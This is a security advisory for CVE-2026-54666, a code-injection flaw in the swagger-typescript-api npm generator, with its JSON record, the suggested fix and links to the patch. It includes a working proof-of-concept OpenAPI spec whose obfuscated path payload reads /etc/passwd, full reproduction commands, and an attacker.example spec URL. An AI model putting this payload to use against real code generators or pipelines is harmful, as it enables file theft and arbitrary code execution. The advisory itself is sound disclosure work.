GHSA-W284-33MX-6G9V
Vulnerability from github – Published: 2026-07-29 14:35 – Updated: 2026-07-29 14:35Summary
swagger-typescript-api interpolates OpenAPI path strings (the keys of the paths object, e.g. /users/{id}) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing ${ … } survives parseRouteName's {x} / :x rewriter verbatim and lands as live JS-template-literal interpolation inside the generated path: \...`` line. Any consumer who calls the affected generated method evaluates the attacker's expression with full importer privileges — file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.
Details
parseRouteName (src/schema-routes/schema-routes.ts:147-189) preprocesses spec paths by rewriting {x} and :x path-parameter patterns into ${x} JS template-literal interpolations:
const pathParamMatches = (routeName || "").match(
/({[\w[\\\]^`][-_.\w]*})|(:[\w[\\\]^`][-_.\w]*:?)/g,
);
// ...
return fixedRoute.replace(pathParam.$match, `\${${insertion}}`);
The regex only matches { followed by word characters (and a closing }), or : followed by word characters. It does not strip backticks, ${, or backslashes. A spec path containing ${ ATTACKER_EXPRESSION } survives unchanged.
The resulting fixedRoute is passed to the procedure-call template at templates/default/procedure-call.ejs:96 (and the corresponding templates/modular/procedure-call.ejs:96):
path: `<%~ path %>`,
The <%~ %> is Eta's raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling ${…} inside the path becomes a live JS expression evaluated when the method's path template is evaluated — i.e. at every call to the affected method.
Generated method body for a malicious spec path:
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
// ATTACKER CODE EVALUATED HERE on every call to api.<...>.evilCall()
// — full Node.js capabilities: dynamic import('node:fs'), child_process,
// network egress, environment access, etc.
})()}/items`,
method: "GET",
...params,
}),
Biome (the codebase's formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.
Caveat for PoC construction: the path-param regex matches :x, so a literal : followed by a word character inside the spec path gets mangled into ${x}. This affects payloads that need to express node:fs. The workaround used in the PoC is Buffer.from('bm9kZTpmcw==','base64').toString() — base64 contains no :, decodes to 'node:fs' at runtime, and dodges the rewrite entirely.
PoC
Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → call method with stubbed this.request so there is no real network egress → check canary) is added in comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Malicious OpenAPI path (literal string, JSON-encoded in the spec below):
/api/${(async()=>{ try { const m=Buffer.from('bm9kZTpmcw==','base64').toString(); const f=await import(m); const d=f.readFileSync('/etc/passwd','utf8'); f.writeFileSync('/tmp/sta_canary',d); } catch(e){} return 'x'; })()}/items
Minimal payload spec:
{
"openapi": "3.0.0",
"info": { "title": "PathPayloadAPI", "version": "1.0.0" },
"servers": [{ "url": "https://api.example.com" }],
"paths": {
"/api/${(async()=>{try{const m=Buffer.from('bm9kZTpmcw==','base64').toString();const f=await import(m);const d=f.readFileSync('/etc/passwd','utf8');f.writeFileSync('/tmp/sta_canary',d);}catch(e){}return 'x';})()}/items": {
"get": {
"operationId": "evilCall",
"responses": { "200": { "description": "OK" } }
}
}
}
}
Steps:
npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
name: 'Api.ts', output: process.cwd() + '/out',
input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
--tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
const mod = await import('./out/Api.bundle.mjs');
const api = new mod.Api();
// Stub the request implementation so there is no real network call —
// only the path template literal is evaluated, which is what fires the IIFE.
api.request = async () => ({ ok: true });
const group = api.api;
await group[Object.keys(group)[0]]();
await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary
Generated out/Api.ts (method body — payload, Biome-formatted):
evilCall: (params: RequestParams = {}) =>
this.request<void, any>({
path: `/api/${(async () => {
try {
const m = Buffer.from("bm9kZTpmcw==", "base64").toString();
const f = await import(m);
const d = f.readFileSync("/etc/passwd", "utf8");
f.writeFileSync("/tmp/sta_canary", d);
} catch (e) {}
return "x";
})()}/items`,
method: "GET",
...params,
}),
The IIFE is a real JavaScript expression inside the path template literal — Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.
Result: after instantiating the generated Api and calling the affected method, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (path "/api/users/{id}/items") generates path: \/api/users/${id}/items``, the IIFE never appears, and the canary is not written.
Impact
Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).
Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely:
sta generate --url https://attacker.example/openapi.json— a public, third-party, or attacker-hosted spec.- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project where a contributor can modify the pinned spec via pull request.
Lifecycle: the injected expression fires per method call — every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both httpClientType: "fetch" (default) and httpClientType: "axios", both default/ and modular/ template sets — any path-bearing operation in the spec is a candidate.
Privilege: the IIFE runs with the full privileges of the calling process — file read/write, network egress, environment access, child-process spawn, etc.
Suggested fix: sanitize the path string after parseRouteName finishes its {x} / :x rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the ${name} interpolations that parseRouteName deliberately introduces — any backtick, ${, or \ outside those deliberate interpolations should be escaped or rejected. Alternatively, change templates/default/procedure-call.ejs:96 (and templates/modular/procedure-call.ejs:96) to stop wrapping path in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54666"
],
"database_specific": {
"cwe_ids": [
"CWE-1336",
"CWE-74",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:35:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`swagger-typescript-api` interpolates OpenAPI path strings (the keys of the `paths` object, e.g. `/users/{id}`) directly into a JavaScript template literal inside the body of every generated API method, without escaping. A spec path containing `${ \u2026 }` survives `parseRouteName`\u0027s `{x}` / `:x` rewriter verbatim and lands as live JS-template-literal interpolation inside the generated `path: \\`...\\`` line. Any consumer who calls the affected generated method evaluates the attacker\u0027s expression with full importer privileges \u2014 file read/write, exfiltration, etc. The attacker controls the OpenAPI spec (remote URL, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and uses the resulting client.\n\n### Details\n\n`parseRouteName` (`src/schema-routes/schema-routes.ts:147-189`) preprocesses spec paths by rewriting `{x}` and `:x` path-parameter patterns into `${x}` JS template-literal interpolations:\n\n```ts\nconst pathParamMatches = (routeName || \"\").match(\n /({[\\w[\\\\\\]^`][-_.\\w]*})|(:[\\w[\\\\\\]^`][-_.\\w]*:?)/g,\n);\n// ...\nreturn fixedRoute.replace(pathParam.$match, `\\${${insertion}}`);\n```\n\nThe regex only matches `{` followed by word characters (and a closing `}`), or `:` followed by word characters. **It does not strip backticks, `${`, or backslashes.** A spec path containing `${ ATTACKER_EXPRESSION }` survives unchanged.\n\nThe resulting `fixedRoute` is passed to the procedure-call template at `templates/default/procedure-call.ejs:96` (and the corresponding `templates/modular/procedure-call.ejs:96`):\n\n```ejs\npath: `\u003c%~ path %\u003e`,\n```\n\nThe `\u003c%~ %\u003e` is Eta\u0027s raw, unescaped interpolation. The surrounding backticks make this a JavaScript template literal in the generated source. Anything resembling `${\u2026}` inside the path becomes a live JS expression evaluated when the method\u0027s `path` template is evaluated \u2014 i.e. at every call to the affected method.\n\nGenerated method body for a malicious spec path:\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n this.request\u003cvoid, any\u003e({\n path: `/api/${(async () =\u003e {\n // ATTACKER CODE EVALUATED HERE on every call to api.\u003c...\u003e.evilCall()\n // \u2014 full Node.js capabilities: dynamic import(\u0027node:fs\u0027), child_process,\n // network egress, environment access, etc.\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nBiome (the codebase\u0027s formatter) pretty-prints this multi-line, confirming the output parses as valid TypeScript. esbuild bundles it cleanly.\n\n**Caveat for PoC construction:** the path-param regex matches `:x`, so a literal `:` followed by a word character inside the spec path gets mangled into `${x}`. This affects payloads that need to express `node:fs`. The workaround used in the PoC is `Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString()` \u2014 base64 contains no `:`, decodes to `\u0027node:fs\u0027` at runtime, and dodges the rewrite entirely.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 instantiate \u2192 call method with stubbed `this.request` so there is no real network egress \u2192 check canary) is added in comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious OpenAPI path** (literal string, JSON-encoded in the spec below):\n\n```\n/api/${(async()=\u003e{ try { const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString(); const f=await import(m); const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027); f.writeFileSync(\u0027/tmp/sta_canary\u0027,d); } catch(e){} return \u0027x\u0027; })()}/items\n```\n\n**Minimal payload spec:**\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"PathPayloadAPI\", \"version\": \"1.0.0\" },\n \"servers\": [{ \"url\": \"https://api.example.com\" }],\n \"paths\": {\n \"/api/${(async()=\u003e{try{const m=Buffer.from(\u0027bm9kZTpmcw==\u0027,\u0027base64\u0027).toString();const f=await import(m);const d=f.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);f.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}return \u0027x\u0027;})()}/items\": {\n \"get\": {\n \"operationId\": \"evilCall\",\n \"responses\": { \"200\": { \"description\": \"OK\" } }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"\n const mod = await import(\u0027./out/Api.bundle.mjs\u0027);\n const api = new mod.Api();\n // Stub the request implementation so there is no real network call \u2014\n // only the path template literal is evaluated, which is what fires the IIFE.\n api.request = async () =\u003e ({ ok: true });\n const group = api.api;\n await group[Object.keys(group)[0]]();\n await new Promise(r =\u003e setTimeout(r, 300));\n\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (method body \u2014 payload, Biome-formatted):**\n\n```ts\nevilCall: (params: RequestParams = {}) =\u003e\n this.request\u003cvoid, any\u003e({\n path: `/api/${(async () =\u003e {\n try {\n const m = Buffer.from(\"bm9kZTpmcw==\", \"base64\").toString();\n const f = await import(m);\n const d = f.readFileSync(\"/etc/passwd\", \"utf8\");\n f.writeFileSync(\"/tmp/sta_canary\", d);\n } catch (e) {}\n return \"x\";\n })()}/items`,\n method: \"GET\",\n ...params,\n }),\n```\n\nThe IIFE is a real JavaScript expression inside the `path` template literal \u2014 Biome only reformats syntactically valid TS, so the multi-line indented output proves it parsed.\n\n**Result:** after instantiating the generated `Api` and calling the affected method, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (path `\"/api/users/{id}/items\"`) generates `path: \\`/api/users/${id}/items\\``, the IIFE never appears, and the canary is not written.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via pull request.\n\n**Lifecycle:** the injected expression fires **per method call** \u2014 every time a consumer invokes the affected generated method, the path template literal is evaluated and the IIFE runs. Lower severity than module-load sinks because the consumer must actually use the affected method, but this is the entire purpose of a generated API client; any non-trivial use of the client triggers it. Affects both `httpClientType: \"fetch\"` (default) and `httpClientType: \"axios\"`, both `default/` and `modular/` template sets \u2014 any path-bearing operation in the spec is a candidate.\n\n**Privilege:** the IIFE runs with the full privileges of the calling process \u2014 file read/write, network egress, environment access, child-process spawn, etc.\n\n**Suggested fix:** sanitize the path string after `parseRouteName` finishes its `{x}` / `:x` rewrites but before it is interpolated into the template literal. The path should only contain literal URL characters plus the `${name}` interpolations that `parseRouteName` deliberately introduces \u2014 any backtick, `${`, or `\\` outside those deliberate interpolations should be escaped or rejected. Alternatively, change `templates/default/procedure-call.ejs:96` (and `templates/modular/procedure-call.ejs:96`) to stop wrapping `path` in a backtick literal: emit a string concatenation instead, where path-param substitution is explicit and the rest of the path is treated as inert string data.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-w284-33mx-6g9v",
"modified": "2026-07-29T14:35:02Z",
"published": "2026-07-29T14:35:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-w284-33mx-6g9v"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.